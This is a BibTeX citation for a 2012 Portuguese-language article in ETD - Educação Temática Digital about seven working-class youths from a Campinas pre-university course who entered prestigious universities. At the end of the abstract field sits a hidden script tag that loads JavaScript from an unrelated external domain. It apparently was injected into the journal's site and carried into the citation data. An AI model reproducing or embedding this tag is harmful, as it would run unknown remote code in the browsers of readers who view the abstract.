@article{Correa_Rocha_2012, place={Campinas, SP}, title={Disposições aos sacrifícios da escolarização: trajetórias de jovens das classes populares}, volume={14}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1261}, DOI={10.20396/etd.v14i1.1261}, abstractNote={<p>Este artigo aborda as trajetórias de sete jovens pertencentes aos grupos populares, ex-alunos do curso pré-vestibular Herbert de Souza, situado na cidade de Campinas, SP, que ingressaram em universidades prestigiosas. Com a pesquisa, procuramos identificar: (i) como esses jovens interpretam e avaliam suas experiências educacionais e escolares; (ii) pontos nestas trajetórias que (não) contribuíram para a longevidade escolar;  e (iii) efeitos da frequência ao cursinho sobre os estudantes. Para atingir estes objetivos, realizamos entrevistas semiestruturadas com os jovens e pesquisa documental sobre o cursinho. Por se tratar de uma pesquisa qualitativa, os entrevistados não foram escolhidos segundo critérios estatísticos, mas de forma intencional; priorizamos o critério de rede, pelo qual os próprios depoentes indicam outros para serem entrevistados, criando uma comunidade de argumentos. Destacamos, neste artigo, como resultado da pesquisa, a importância de experiências escolares no processo de construção e de reconstrução da identidade dos que delas participam.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={ETD - Educação Temática Digital}, author={Correa, Lajara Janaina Lopes and Rocha, Maria Silvia Pinto de Moura Librandi da}, year={2012}, month={maio}, pages={420–441} }